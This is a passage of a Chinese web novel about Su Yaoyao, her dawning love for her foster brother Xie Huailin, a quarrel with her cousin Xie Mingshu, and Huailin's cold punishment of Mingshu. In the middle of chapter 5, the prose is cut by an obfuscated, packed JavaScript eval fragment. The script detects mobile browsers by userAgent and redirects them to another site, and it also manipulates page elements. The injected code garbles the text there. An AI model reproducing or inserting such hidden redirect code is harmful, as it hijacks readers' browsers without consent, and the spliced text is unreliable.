苏窈窈甚至觉得自己是生病了,或许是得了什么无法治愈的绝症。 要不要叫大夫看一下?还是去找她的好姐妹,同她说说话? 说不定嘉宁会体会她的这种心情呢。 而且……她上次托嘉宁帮忙的那件事,不知道怎么样呢。 一想起这事,苏窈窈的秀眉皱得更深了。 对,她必须马上去找嘉宁。 苏窈窈这么想着,想出府去找她的小姐妹时,一尖细的女声飘了过来。 “我瞧着是谁这一大早就来长兄这里献殷勤,原来是表妹。” 这笑声嘲讽意味十足,苏窈窈皱眉看去,看到朝她走来的谢明姝后,还有一众谢家的公子小姐后,小脸一下就垮了。 她不喜欢他们,一个都不喜欢。 她只喜欢兄长。 苏窈窈轻哼了声,脸上的讨厌之情毫不掩饰。 “我和兄长就是感情好,何来献殷勤。”苏窈窈不想和她多说,嗤了一声后径直越过她,想要离开这里。 旁边就种着几棵海棠花树,苏窈窈掠过花树,花枝掩映下,人却比花还要盎然娇艳。 苏窈窈生的的确雪肤花貌,都说谢家的表姑娘容貌出众,霞姿月韵,见者皆心旌摇曳。 肌肤白皙得若堆雪,纤腰堪堪一握,似抽条柳枝,此时此刻她站在薄阳透过的花树下,头顶花枝攒动,这满树的花却都比不过她的好颜色。 桃花映日,娇艳灼目,也不过如此罢了。 谢明姝见她如此理直气壮,又看到她那张脸,想到自己的婚事,心里一直积压的火气一下就出来了,在苏窈窈擦身而过时,她抬手就扯住了她衣袖。 “不知羞,长兄是你兄长吗?跟你这个姓苏的有什么关系,天天哥哥哥哥的喊,做作死了。” 苏窈窈被她抓得手腕生疼,她也不是什么隐忍的性子,谢怀凛平时也会教她一些防身的剑术,虽然说不上高强,但对付这些肩不能挑手不能公子小姐足够了。 苏窈窈顺手就折了一旁垂下的花枝,手腕轻巧一转,花枝就横劈在谢明姝的手背,一道红痕即现,谢明姝痛呼一声,立马松了手。 苏窈窈哼笑了声,一根花枝和长剑似的拿在手里,她扬起下巴,神气极了。 “小时候,你,还有他们……”苏窈窈用花枝依次点过在一旁看戏的人,“小时候背地里合起伙来欺负兄长时,怎么不说兄长是你们的长兄。” 一身华丽锦袍,眉心生了一颗红痣的少年立马说道:“我我可没有啊……” 谢子安火速站到了一边,急于撇清关系,他可不想被长兄收拾,更不想找这个表妹的麻烦。 要让长兄知道,他可没有好果子吃。 但谢明姝性子可不像谢子安那样识好歹,她向来看不惯苏窈窈,看不惯她一个打秋风的表姑娘成了谢府的大小姐,他们的长兄护她护得和眼珠子似的,亲手帮她挑选婚事,而她…… 只是苏窈窈素来被谢怀凛和祖母护着,也是个天不怕地不怕的性子,更何况眼下这谢明姝还说到了谢怀凛,苏窈窈想起以前的事便是气不打一处来,非要替兄长出口气不可。 “你告状吧,就说我打了你。”苏窈窈弯着唇笑了,一张桃花小脸明媚又狡黠,模样是挑衅极了。 而当她话声落下,啪的一下,花枝又抽在了谢明姝手臂。 刺痛感传来,谢明姝一双眼睛蓦地睁大,气到眼睛里都有血丝了,她忙呵斥一旁的侍女:“都死了是吧,赶紧把这乡下来的疯子给我抓起来!我要告诉爹爹娘亲!” 谢明姝被一时的怒气冲昏了头脑,要让旁边的侍女去抓苏窈窈,但她昏了头,旁边的侍女可没昏头。 她们都知道,府上的大公子最是宠着这位表小姐,谁要是敢对这位表小姐动手,那可不是挨板子的事了。 于是,无人响应,四下忽然无声。 “兄长不在意,我可都替他记着了。”苏窈窈看到这群人就想和小时候一样,朝他们扔石子。 “你们小时候都骂他是疯子,是疯女人生的疯孩子,有一次,你们玩闹,摔坏了舅舅很喜欢的一个青瓷花瓶,怕被罚,就和舅舅说,是兄长摔坏的,兄长说不是,但舅舅不信,抽了兄长一顿鞭子,为了惩罚他,还把他关在祠堂里饿了三天,我一直求外祖母,等终于能进去看兄长时,兄长……” 苏窈窈一想起她兄长那副浑身血痕的模样,鼻子就酸得不行,她越发替她兄长觉得委屈,更觉气愤。 “还有那一次,那一次……很多次!” “你们根本没有把他当长兄,如今兄长状元及第,平步青云,你们却都殷勤地喊起了他长兄,想从他身上吸血,哪来的脸啊。” 这些人的确畏惧,也要倚仗谢怀凛如今的权势,被苏窈窈说的哑口无言,霎时间谁都没有吭声。 恰好这时,苏窈窈的丫鬟过来,看到这副场景先是愣了一下,确定她家小姐没吃亏后松了口气,便上前说道:“小姐,萧府的小姐来找您了,在前厅候着。” 她的手帕交来找她了,她正好有事要问她,苏窈窈懒得和他们多说,她把花枝一扔,又和小时候护着她兄长时一样,虚张声势地叉着腰,哼了一声后走了。 他们都不懂,她和兄长的感情,苏窈窈想,他们不会懂的。 她不会让别人欺负兄长的。 苏窈窈甚至握紧了拳头,她想……谁也不行。 苏窈窈就这样走了,其余谢家的人也都两两散散,只留谢明姝还久久留在原地。 谢明姝气不过,心里的火气发泄不出去,在旁边的丫鬟战战兢兢地拿着帕子上前时,谢明姝气不过,扇了上前的侍女两巴掌。 几个侍女立马跪倒在地。 尽管发泄了一些心里的怒气,但谢明姝看着走远的苏窈窈,还是咬牙切齿,眼睛瞪得都要突出来了。 萧家是京城里高门大户,而萧府小姐与苏窈窈这么要好,还是他们长兄牵的线,是他们长兄给苏窈窈找的朋友。 不然,那乡下来的土包子怎么可能和侯爷千金成了手帕交。 谢明姝忽然又想起了府中所传之事……苏窈窈本被许配给了宋家公子,宋家的门楣配她苏窈窈是绰绰有余,若不是宋家三公子执意求娶,被她相貌所惑,她如何能够得上宋家的门楣? 可是他们的长兄,却说会为苏窈窈寻更好的婚事,说……那宋家公子配不上苏窈窈。 配不上…… 可她谢明姝,她才是谢府千金,却要她嫁给别人做妾。 凭什么。 她苏窈窈只是个父母双亡,来打秋风的乡下人,凭什么她能得到这些,而她谢明姝,只能被许给别人做妾。 凭什么! —— 苏窈窈刚好被那些奇怪的情绪压在心口喘不过气,正准备去找好姐妹萧嘉宁谈心,谁知道萧嘉宁主动来寻她了。 萧嘉宁同她说,京城里新开了一家首饰铺子,她想同她一起去逛逛,再看看有没有好看的衣裳,她要亲手帮她妆扮一番,再帮她化一个当下京城里最时兴的桃花妆容,让她在下个月的赏花宴里惊艳全场。 是了,萧嘉宁的爱好之一便是“装扮”苏窈窈…… 她总是对着苏窈窈的这张脸发呆,时不时就会发出“窈窈,你生的真好看啊”“窈窈,要是我是男的就好了”“窈窈,你好可爱啊”之类的感慨。 她喜欢帮她挑首饰挑衣裳,甚至还会亲手裁剪衣裳,亲手帮她梳妆打扮,妆扮完成后看着苏窈窈便是一副陶醉的样子。 苏窈窈感觉自己都变成了她的木偶,被她“玩弄”于股掌之间。 但萧嘉宁喜欢,苏窈窈便每次都会乖乖配合,任她妆扮。 因为她可是她的好姐妹,她开心的话,苏窈窈也会觉得很开心。 但这次,苏窈窈看到萧嘉宁却开心不起来了。 她没心思去和萧嘉宁逛铺子,和小丫鬟说了声今日会晚点回来后,坐着萧嘉宁的马车就走了。 此时刚过正午,天气晴好,大街上人流如织,摊贩的叫卖声此起彼伏,好不热闹。 若是以前,苏窈窈去这大街上就跟鱼儿入海一样,扑腾得不行,可以和萧嘉宁两个人从天亮逛到天黑。 但今日苏窈窈心里藏着事,连之前爱逛的小摊子都没兴趣了,什么泥人糖人好吃的全都吸引不了她,忙拉着萧嘉宁去了一座酒楼。 苏窈窈去酒楼要了个二楼雅间,确定周围没人后,她牵着萧嘉宁的手,心事重重地问:“宁宁,我有件重要的事问你……” 萧嘉宁比苏窈窈高半个头,被苏窈窈凝脂软玉般的小手捂着,绵软的触感传来时,她盯着面前苏窈窈这张过于娇美的脸,简直都要面红耳赤了。 她的小姐妹也太好看了吧,手也好软,身上也好香。 苏窈窈在她眼里就是香香软软,漂漂亮亮的,笑起来还格外明媚,让人也忍不住跟着笑,还特别护着人。 明明自己模样娇弱,但在外面有什么事,有什么人找麻烦,她却是毫不犹豫地拦在她面前,一点都不退让。 萧嘉宁太喜欢苏窈窈这个姐妹了,此刻看着苏窈窈水雾蒙蒙的,有些湿润的眼睛,那微微抿着的樱桃小口,皱着的秀眉,苏窈窈在她眼里就是娇弱得不行的,需要她护着的梨花。 尽管苏窈窈其实比她能打,身子骨也比她这个千金小姐健康多了。 “窈窈,你说!”萧嘉宁捧着苏窈窈的手,只觉得自己有些“色令智昏”了,此时此刻怕是不管苏窈窈说什么,她都会答应。 “宁宁,上次我托你查的卷宗有消息吗?”苏窈窈眨巴着眼睛期待地问,神情又有些紧张,一点都不像平时的她。 一听这话,萧嘉宁面露歉意地说:“我爹爹说,那几年的卷宗都被刑部调走了,没在御书库,我暂时没查到……” “刑部?”苏窈窈疑惑道。 萧嘉宁揉了揉苏窈窈的小手,说道:“对啊,你兄长不就在刑部吗,窈窈,你直接同你兄长说就行了啊,他不是事事都依着你吗?” 苏窈窈却抿了抿唇。 这件事,她不能找兄长,也不能叫兄长和谢府的人知道。 只能另外想办法了。 “我知道了,谢谢你,宁宁……”苏窈窈感激地看着萧嘉宁,抬眸看去,睫毛还湿湿的,眼尾含着红,让人心软得不行。 “宁宁,这件事,你千万别告诉我兄长,也别和谢府的人说。” 这件事,在谢家是禁忌。 她甚至在祖母面前也 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“窈窈你别哭呀……”萧嘉宁有些慌了,她想逗她开心,便说道,“窈窈,要不,今日我带你去一个好地方玩吧!” 萧嘉宁自小被千娇百宠的,家里人也不会自己管束她,她惯会玩乐,带苏窈窈玩过好多新奇的玩意。 这次她也神秘兮兮地对苏窈窈眨眨眼,凑近她耳边悄悄说了几个字。 苏窈窈听到后眼睛都睁大了:“啊,我们可以去吗?” 萧嘉宁性子自在无拘,她向来奉行吃喝玩乐为人生准则,尤其喜爱一切美好的事物,不然,她也不会第一眼看到苏窈窈就这么喜欢,认定了她就是自己的手帕交。 苏窈窈实在长得太好看了,性子又活泼又乖软,有时候还特别让人心疼。 只是她极少会将这一面表现出来。 苏窈窈其实很爱硬撑,有时候也死爱面子,不愿把自己软弱的,爱哭的一面给别人看,尤其是在谢府,在那些人面前。 所以,她总是装腔作势,狐假虎威,不愿吃一点亏,就比如今日那谢明姝在言语上嘲讽她挑衅她,她明明知道那谢明姝也不敢对她做什么,她忍一下也许就过去,但她偏不,还要双倍奉还回去,仿佛仗着她兄长和外祖母的宠爱在府里横行霸道惯了。 但苏窈窈其实很有分寸,她知道谢氏的家主是谢怀凛父亲,也是她名义上的舅舅,她其实也知道她这个舅舅其实并不怎么管子女之间的争斗,欺压,甚至是更过分的事。 所以,她敢那样对谢明姝,也敢这样对其他谢氏子弟。 但涉及家族之事,还有,她爹爹娘亲的事情,她却不敢这么放肆了。 因为这些都会触怒她的舅舅,那个谢氏家主。 谢氏如今还是由他掌控。 苏窈窈知道自己是外姓人,人在屋檐下,而且,她不想让兄长和外祖母为难。 苏窈窈其实顾虑很多。 因为谢府并不是她的家,在谢府她只有兄长和外祖母。 但萧嘉宁却没有这些顾虑,自顾自地说:“为什么不能去啊,他们看得,我们自然也看得,好多美人儿在那呢……虽然那些人的美貌不及你兄长万一,但你兄长这样的人,世间怕是也只这一个,他对别人又惯是瞧都不瞧一眼的,也就只能看看这些美人来愉悦心情了。” “那些人也是个顶个的美公子呢,看看他们跳舞岂不美哉?而且窈窈,你别多想啊,我们又不做什么……诶,窈窈,你脸怎么这么红了!” 被萧嘉宁一说,苏窈窈才发现自己一听到她说兄长就脸红了。 萧嘉宁以为她是害怕的,忙和她保证,认真说:“你放心,我们偷偷去,不会叫你兄长发现的!到时候被发现了,你就说是我逼迫你去的……” “不是,宁宁,我心里觉得很闷,有个问题总也想不明白,想和你说说……”苏窈窈心里实在闷的慌,忍不住说了出来。 这些情绪压在心里总是让她烦闷,也让她有一种莫名的羞耻,苏窈窈欲言又止的,最后还是叫了许多酒。 她喝着酒,借着酒意,意识昏沉的时候一股脑全说了出来。 “宁宁,你说,我为什么要生我兄长的气啊……” “他明明是为我好,他推了宋家的婚事,说那宋家公子配不上我,他不会让我嫁给那种人……” “还,还说,他会为我找京城里最好的儿郎,只有这样的人才配当我的夫君……” “可是,当我听到这些话,我居然会觉得很生气……” “我讨厌听到他说那句话,很生气地把他推开了,还和他说他好烦,让他不要管我……” “兄长肯定很伤心……” “但我……我当时……” 苏窈窈就这么说了出来,把自己不知从何而起的,奇怪的,她自己都想不明白的情绪说了出来。 自古皆是当局者迷旁观者清,苏窈窈深陷这种少女心事里,在那些粘稠的,难以言明的心事里越陷越深,怎么都看不明白自己的心,然而当她说出来后,这话落在旁人耳边,其中隐藏的,隐秘的情愫却是再清晰不过了。 “窈窈!你这哪里是讨厌你兄长,你分明是红鸾星动,喜欢上你兄长了!”萧嘉宁一下就听出来了,惊呼道。 这句话说出口,落在苏窈窈耳边时当真是惊雷阵阵,苏窈窈一下子清醒了。 她从趴着的桌子上一下坐起,水蒙蒙的杏子眼睁大,一眨不眨的。 她的心跳顿时如擂鼓,胸口这处有一种酥酥麻麻的怪异颤动,随之遍布了她四肢百骸。 苏窈窈身体发软,头皮也发麻,脑袋陷入了一种晕眩里,天旋地转的。 “喜欢……喜欢?” “喜欢……” 苏窈窈呢喃着这几个字,眼神仍是呆滞的,但脸颊却悄然而起了艳丽红晕,胜过明媚桃花。 “我喜欢兄长吗?” “我喜欢兄长?!” 5. 第 5 章 谢怀凛下值回府,一身红色官袍未换,去了苏窈窈院子。 只是,他站在昨晚和今晨之处,仍旧未看到对他大笑着挥手,喊他哥哥的妹妹。 他没看到苏窈窈。 一旁的丫鬟见此上前道:“公子,我家小姐和萧家小姐一同去逛铺子了。” 谢怀凛垂下眼眸,他淡淡地点了点头,如常道:“嗯,晚膳不必准备了,若窈窈回来,和她说,我做了她爱吃的饭菜,还有点心。” 小丫鬟都愣了一下。 虽然大公子经常如此,亲自给她家小姐做她爱吃的饭菜,但她昨日还听到她家小姐说,和大公子吵架了,大公子不会理她了…… 怎么今日还是和没事人一样? 这哪里是吵了架的样子? 而且,小姐今日早晨还哭丧着脸呢…… 虽然心有疑虑,但小丫鬟不敢多问,连忙应下。 谢怀凛一如往常,那冷玉般的脸上没什么表情,他换下官袍,净手后,便去了厨房。 尽管谢怀凛经常会为了苏窈窈下厨,熬汤,做糕点,苏窈窈随口说了句想吃什么,他第二日就会给她做,但谢怀凛每次进厨房的时候,厨房里的厨子还是会惊出一身冷汗来。 都说君子远庖厨,谢怀凛状元出身,如今身居高位,容貌亦是极其俊美,是高雪明月般不可接近的人物,这样的人进厨房,简直是奇闻了。 当真是兄妹感情好。 只是这大公子如此看重这表小姐,当亲妹妹对待,对其他的妹妹却是多看一眼都不曾,可真奇怪。 谢怀凛在厨房忙碌了一个时辰,从日落西斜到天黑,苏窈窈还没回来。 一桌菜,还有精美的糕点摆在膳厅,饭菜的热气随着天黑漫上的冷气而渐渐消失 谢怀凛站在桌前朝外看,白衣染上烟火气,此刻也染上了寒气,他低喃,又好像在笑:“窈窈,不要哥哥么。” 饭菜已经凉了,谢怀凛站在膳厅门口,他靠着柱子,一会望着庭院门口的方向,一会又低下头,脖颈垂得要被折断了一般,台阶上的影子拉得很长。 不知又过了多久,庭院门口有脚步声传来,谢怀凛却没有抬头。 果然,人影出现在厅房前,并不是苏窈窈,而是谢明姝。 “姝儿见过长兄。”谢明姝是谢怀凛同父异母的妹妹,她今日来这,自然是有着自己的心思。 她貌似不经意地扫了眼那桌饭菜,带着几分惊讶的口吻说道:“长兄可是为窈妹妹又做了一桌饭菜?只是可惜啊,长兄把窈妹妹当亲妹妹,但窈妹妹可没把长兄当亲兄长呢,同萧家的小姐和小侯爷去外面玩乐,哪还记得长兄……” 谢怀凛没出声,却是缓缓抬起了头。 像是卡死的机括开始转动了起来,近乎有诡异的嘎吱嘎吱声响起。 廊上挂着的灯笼映出昏黄的光,落在谢怀凛脸上,如冷玉蒙上光晕,寒气森森。 谢明姝看着这张森然的脸,尽管面前这人名义上是她长兄,也和她有一半的血缘关系,但是一种莫名的恐惧却瞬间攀上心头,她脊背这里无法克制地冒出了冷汗,甚至于,她无意识地往后退了半步。 谢怀凛站直了身子,往前走去。 他走下了台阶。 一股压迫感像是骤然而起的晚风,无形散了出去。 四周的空气似乎也变得稀薄起来,直让人喘不过气。 谢明姝又往后退了几步,瞳孔都放大了。 如果她没有昏头的话,此刻,她应该走的。 但是,谢明姝今日来这,也无非是因为没办法了,无论如何她都要试一试。 她如何不能嫁高门大户,世家贵族? 凭什么苏窈窈能有那般好的婚事,连宋家都配不上她,凭什么她能与侯府结交,凭什么不是她苏窈窈嫁给人做妾? 她连谢家人都不是! 她谢明姝才是谢家的小姐! 正如苏窈窈所言,他们这些谢氏子弟,小时候也的确看不起谢怀凛,经常骂谢怀凛的母亲是个疯女人,朝她扔石子,也会骂谢怀凛是怪物,是疯女人生的疯孩子…… 小时候,谢父并不喜欢谢怀凛这个儿子,并且因为他母亲,谢父甚至对这个儿子心生厌恶。 谢父妻妾成群,子女众多,这些小孩子最会看谢父眼色,他们小时候也都知道,他们这个所谓的长兄不得父亲喜欢,母亲还是个疯子,他天天冷着一张脸只知道读书,从不和他们这些孩子一起玩,只有那个从偏僻地方来的表妹跟个傻子一样,天天跟在他屁股后面,哥哥哥哥的喊,笑的好不值钱。 这样一个比他们大不了多少的小孩,自然成了他们欺辱的对象,犯的错事统统推到他身上就好了,反正他否认,父亲也不会信,甚至他们犯了错,谢父也会说是谢怀凛没有管教好他们,没有尽到长兄的指责,依旧会罚他。 棍棒鞭子跪祠堂关黑屋,谢父美其名曰是为了教他成材,直到如今,谢父还以此为傲,认为谢怀凛能考上状元,在朝有如此地位,是归功于他这个父亲的严厉教导。 小时候,只有苏窈窈会气鼓鼓地拦在他面前,狠狠地瞪着他们,不让他们欺负谢怀凛 而苏窈窈得外祖母爱护,他们也不敢欺负她,每次她拦在谢怀凛面前,那些小孩就会对她做鬼脸,说她以后也会变成一个疯子。 谢明姝长大后,对于以前这种种并不觉得有什么,他们是一家人,小时候都是小孩,只是为了“好玩”罢了。 谢明姝便是反复对自己这样说,那……那是小时候他们不懂事,不懂事罢了,如今都长大了,小时候的事情有什么可记恨的呢。 她可是他的亲妹妹,那个不知道从哪里冒出来的苏窈窈算什么东西? 于是,谢明姝此时此刻,还没有走。 她知道,如今谢府,这谢氏一族都要倚仗谢怀凛,他们父亲看重谢怀凛,谢氏家主之位无可传之人,非他莫属。 谢怀凛在朝也简在帝心,许是不久后便会成权倾朝野…… 如今这频繁与谢家结交的世家贵族便是最好的证明。 她谢明姝虽不屑,但此时也不得不倚仗她这个长兄。 她是庶女,娘亲又是……奴婢,若是她不能找个靠山谋一门好亲事…… 想到此处,纵使那压迫感和心里的恐惧感让她忍不住想走,谢明姝还是暗自捏紧手,装作不经意地笑着说: “长兄,她,她苏窈窈就是外人,她姓苏,不是我们谢家的人,兄长把她当亲妹妹看,以为兄妹情深,但她可没把你当亲兄长看,眼里都没兄长你呢,瞧,今日和那萧小姐在外面疯玩,这么晚都不回府,长兄做的饭菜都冷了,一点都没把兄长放心上,我才是兄长的亲妹妹,若是兄长能帮我,帮我谋一门好亲事,我也可以做饭菜给,给长兄……” 谢怀凛静静地看着她。 谢明姝打了个寒颤,她继续说着,只是,连话声都是抖的,断断续续的。 “长,长兄,姝儿才是,你的,你的亲妹妹……苏窈窈,苏窈窈她今日还打了我,我的亲事,望长兄,长兄……” 谢明姝说苏窈窈打了她。 但如此说辞,谢怀凛一听便知怎么回事。 他的妹妹乖巧柔弱,最是良善,别人不惹她,她断不会动手。 “血缘这种肮脏的东西,又能证明什么?”谢怀凛忽然打断她的话,他没有往前走,离他这个所谓的亲妹妹之间隔了很长一段距离。 这段距离又让他居高临下的视线越发带着压迫感。 谢怀凛的确比他们大不了几岁,但是,谢怀凛早早及第,状元入仕,他在朝多年到了如今这位置,当的并非是直臣,而是权臣。 不过是他的外表太具有迷惑性。 清冷如月,高如寒山白雪,让人第一眼看上去,以为他光风霁月,品性如温润白玉。 但也只是第一眼。 谢怀凛一身白衣站在光影交错处,他似乎在看着漆黑的暗处,很轻,很怪地笑了一声,说出了与他外表极其不符合的话。 声音极冷。 “我只有窈窈一个妹妹。” “谢明姝,你算个什么东西,能和窈窈相提并论?” “你又哪里来的胆子,敢欺辱我的妹妹?” 瞬间,谢怀凛那身洁净白衣在谢明姝眼里无疑成了染血血衣般恐怖。 谢明姝心里的防线彻底破了,她跌坐在地,本能地想求饶时,谢怀凛招了招手,两个侍从走上前。 “将她带到偏院的黑屋,不得放出。” 偏院的黑屋。 听到这几个字,谢明姝脸上写满了惊恐,五官都似乎要扭曲了。 这个地方,这个地方,她不要去! 她可是谢府的小姐! 在谢明姝瞳孔惊惧放大,听到这话想要尖叫求饶时,谢怀凛又笑着说了句,只是虽然笑了,他的声音里却听不出笑意。 “你们,说的那个疯女人也在那里。”他轻描淡写道。 侍从把谢明姝带下去,谢怀凛扫了她一眼。 这种居高临下的眼神,好似在看一只……随时能碾碎的蝼蚁。 甚至于……谢明姝觉得谢怀凛冰冷到近乎锋利的目光当真像一把刀子,在一寸寸割着她的脖子。 血!她的脖子流血了!肯定流血了! 忽然间,谢明姝惊恐地捂着脖子,一个字都说不出来。 —— 苏窈窈什么都不知道。 等苏窈窈回府,自觉天色已晚,便想偷偷溜回房间,不叫兄长发觉,她想,明日再去寻兄长好了。 而且……萧嘉宁说的话对她冲击太大,她也需要时间来好好思考一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480074|201686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,想想……后面她要怎么办才好。 “宁宁说,想要确定自己的心意可以……” 苏窈窈酒意未消,脸颊还泛着红晕,一想起萧嘉宁对她说的那些话,她简直想捂住脸,脸颊的红晕都成了酡红。 “太,太羞耻了吧,我真的要这么做吗?” “兄长要是生气了怎么办?” “会吓到兄长的吧?” 苏窈窈一边碎碎念,一边偷偷溜回院子。 只是她没有想到的是,她偷偷溜回院子时,那原本该熄了灯火的膳厅,却仍旧亮着灯。 不仅亮着,还有一大桌饭菜,还有……人站在那里。 此时的夜已经全黑了,饭菜早就没了热气,初春夜里寒气重,夜深时更是有雾气弥漫开来,在深夜缭绕的雾气里,昏黄的灯下,她兄长就站在那里。 苏窈窈透着一层薄薄的水雾和灯光看他,那一身白衣仿佛成了寒寒白雪,他长身玉立,一个人形单影只,看去分外凄凉。 苏窈窈自小就知道,她兄长生的是极是好看的,容貌俊美,眉眼极为昳丽,初初看过去有种雌雄难辨的美,但他气息偏偏又冷如霜雪明月,便给了人一种不敢亵渎,也不敢接近的感觉。 在外人眼里,他容姿光华冠世,才情无人能及,仕途更是直上青云,是高不可攀的存在,这样的人,要不是因为她是他妹妹,与他是小时候一起陪伴过来的,最亲的人,苏窈窈怕是也和别人一样,不敢接近他。 而就算是苏窈窈,也极少在她兄长身上看到这种神情。 凤眸低垂,薄薄的雾气和光影下,那双眼带着疲惫的愁怨,无力地看着她。 他这样看着她,许久都不吭声,苏窈窈却觉得自己的心尖漫起了细微疼痛,这种不明所以的疼正顺着心脏丝丝缕缕地往外蔓延。 苏窈窈忽然想起了许久之前的一件事。 小时候有一次她生了病,突然发了高烧,烧得整个人都迷迷糊糊的,甚至有天晚上,她迷迷糊糊间还觉得自己看到了兄长,只是等她第二天睁眼醒来,兄长又不见了,像是个梦一样。 外祖母认为是兄长给她带来了灾祸,不许她去找他,也不让兄长来看她。 高烧来的快也去的快,但烧退以后,外祖母还是不让她离开她的院子,兄长不知道为什么,也没来看她。 那一次,苏窈窈当真好久都没看到谢怀凛,甚至都开始埋怨起她兄长来了。 为什么哥哥不来看她呢。 苏窈窈只能努力吃饭,乖乖吃药,她以为这样就能身体变好,等她身体健健康康的,外祖母就不会觉得是兄长的原因,就会让她去见兄长吧。 到时候她一定要质问她兄长,为什么这么久都不找她玩呢。 她只有他这一个兄长呢。 直到有一天,当苏窈窈在亭子里吃饭时,她一抬起头,就看到了谢怀凛! 看到了她兄长。 但她兄长站在离她很远的地方,他远远地看着她,脸上也是此刻这种神情,悲愁又无力。 当时她好开心,一直傻乐,喊他哥哥,和他挥手。 似是知道了她安好,还对着他笑,谢怀凛在那里没多久,一下又消失了。 等她真正病好,谢怀凛才靠近她,和她一起念书。 后面,苏窈窈才知道,她退烧后,那些天他去寺庙求神拜佛,磕头跪地,才敢来见她那么一面。 他也认为,是他给她带来了灾祸。 直到如今,他身上还挂着一个消灾驱邪的符箓香包。 只是,别人挂这符箓是真的为了驱邪,而他是驱自己。 以前此刻重合,苏窈窈觉得自己的心有点碎了,又愧疚又难过。 兄长这是为她做了一大桌饭菜,等了她好久,而她前一天还对他发脾气,说他烦,不要他管…… 她还对兄长……心存歹念! 苏窈窈啊…… 苏窈窈纠结又难过,撇着嘴唇不知道该做什么,又该说什么。 是先认错呢,还是先赞美一下兄长做的饭菜,还有糕点,虽然早就凉透了……她抬眼看过去,发现还是她最喜欢吃的桂花糕呢。 哎。 苏窈窈心乱如麻,东想西想神游天外时,谢怀凛倒是自己走到了她面前。 他离她离得很近,近到他微微弯下腰,苏窈窈便能感受到他兄长温热的呼吸落在发间,轻柔地拂过。 少女一瞬颤栗,腿都有点软了,当真是头皮发麻。 紧接着,苏窈窈听到了她兄长微弱的叹气声。 他叹了口气,弯下腰,鲜红的薄唇停在她一处耳侧,不远不近的距离。 他轻轻地在她耳边说,声音嘶哑至极,听去似是恳求。 “窈窈,我是你哥,我是你哥哥……” “你,不要哥哥了吗……” 6. 第 6 章 他在她耳边问,说……你不要哥哥了吗。 这句话嘶哑的话说到最后,声音都起了颤意,而那薄唇溢出的叹息带着男人越来越灼热,越来越不稳的气息,把少女耳后白皙的肌肤烫成了一片云霞。 苏窈窈一下子懵了。 谢怀凛在她耳边说的这句话像烟花一样在她耳边轰的炸开,又像一根根细针,在她柔软的心上一下下扎着。 她开始疼了起来。 就像小时候每次看到被打的兄长,苏窈窈都会心疼得直掉眼泪,然后傻乎乎地抱着他,说要给他吹吹,说……吹吹就不疼了。 吹吹了怎么可能就不疼了呢,这不过是小孩子的傻话而已,但她兄长每次都会说不疼了,她吹了就不疼了,到最后还是他哄着她别哭了,还是他给她擦眼泪。 每次他被打被罚,哭的却是她。 他和她就是这样,一起长大着。 “窈窈没有不要哥哥!”苏窈窈被他这一句问得心都慌了,连忙否认道。 她急于否认这句话,急得一下抬头,一张泛着红霞的娇艳小脸蓦地抬起,谢怀凛此时还弯着腰,与他的妹妹本就便只有方寸之距,苏窈窈一下抬起脸,本就逼仄的空间进一步被挤压,两人对视,鼻尖堪堪掠过,气息纠缠。 吹过的冷风忽然灼热了几分,带着春夜里独有的潮湿之气。 妹妹。 谢怀凛眸光一闪,长而浓密的眼睫掀起又垂下,很快,他不动声色地直起了腰,往后半步,两人之间距离被拉开。 苏窈窈还来不及回味方才这方寸之间的异样气氛,那些潮湿的粘稠便消散的无影无踪,只剩下清晰而刻骨的兄妹之情。 “我不知道哥哥给我做了一大桌菜,还有……糕点,我最喜欢吃兄长做的糕点了……”苏窈窈仰起小脸和他解释说,急得那秀气的鼻尖都冒出了汗珠。 谢怀凛眨了眨眼,抬起手,指尖轻柔掠过少女鼻尖,一触即分,为她擦拭汗珠。 因为常年握笔,也练剑拉弓,她兄长的指腹有着薄薄的茧,抚过她鼻尖时,那种摩挲过肌肤的粗粝感让少女忍不住一颤,眼尾莫名水意盈盈。 两人似是都觉得这是极为正常的事,的确,这在他们之间也是日常,不过就是兄长会帮她擦汗而已,苏窈窈也顾不上多想,任凭她哥哥给她擦拭汗珠,继续焦急地和他解释:“昨天我和兄长发脾气,我以为兄长生我气,不会理我了,今日早晨我本来想去寻兄长,和兄长道歉,但我起得有点晚……兄长又上值去了,我心里很难受,就和宁宁一起出去散心了,我不知道兄长下值回来回给我做这些……” “我以为兄长还生我的气,肯定不会理我了。” 苏窈窈知错就认,诚实地说开了这件事。 “这样啊……”谢怀凛舒了口气,又问了遍,声音仍旧很轻,带着小心翼翼,“窈窈没有不要哥哥,对不对?” “肯定啊!”苏窈窈简直不知道为什么她兄长会这么想,她嘟囔着,“我怎么可能不要哥哥……我这么……” 苏窈窈的说话声突然顿住。 原本很平常的,她经常挂在嘴边的“喜欢哥哥”这几个字,此刻却是怎么都说不出口。 以前的喜欢是单纯的,兄妹之间的喜欢,所以苏窈窈能毫无顾忌地说出口,可以一天说八百遍她喜欢哥哥,但此时此刻,那些莫名的情绪被萧嘉宁识破,萧嘉宁说她居然是喜欢她兄长才会生她兄长的气后,苏窈窈做贼心虚,喜欢这两个字怎么都收不出来了。 她对兄长的心思也太羞耻了。 苏窈窈直至此刻还被萧嘉宁的话震惊得晕乎乎的,宁宁说,如果她还是不确定自己对兄长的心思是不是男女之情,那她可以先做一些事情来确定自己的心思。 一些事情…… 宁宁和她说了很多,但有一些实在是太…… 苏窈窈现在实在没有那个胆子,兄长之前抱都不让她抱,牵手也不行,还是不要做太出格的事情,等下兄长真的不理她了怎么办。 苏窈窈决定,还是先抱抱兄长,看自己是不是如宁宁所说的那般,身体会有异样的,羞耻的感觉。 “窈窈想和哥哥说什么呢?”苏窈窈被“喜欢”两个字卡住,咬着唇许久都没说话,谢怀凛便笑着问了声。 苏窈窈咬着下唇,唇色鲜艳,脸颊酡红,简直是要哭了。 太温柔了。 兄长每次和她说话都这么温柔,那压着的,从他唇齿间溢出的气声温热而舒缓,就像是有一股热流在轻轻地耳边流淌。 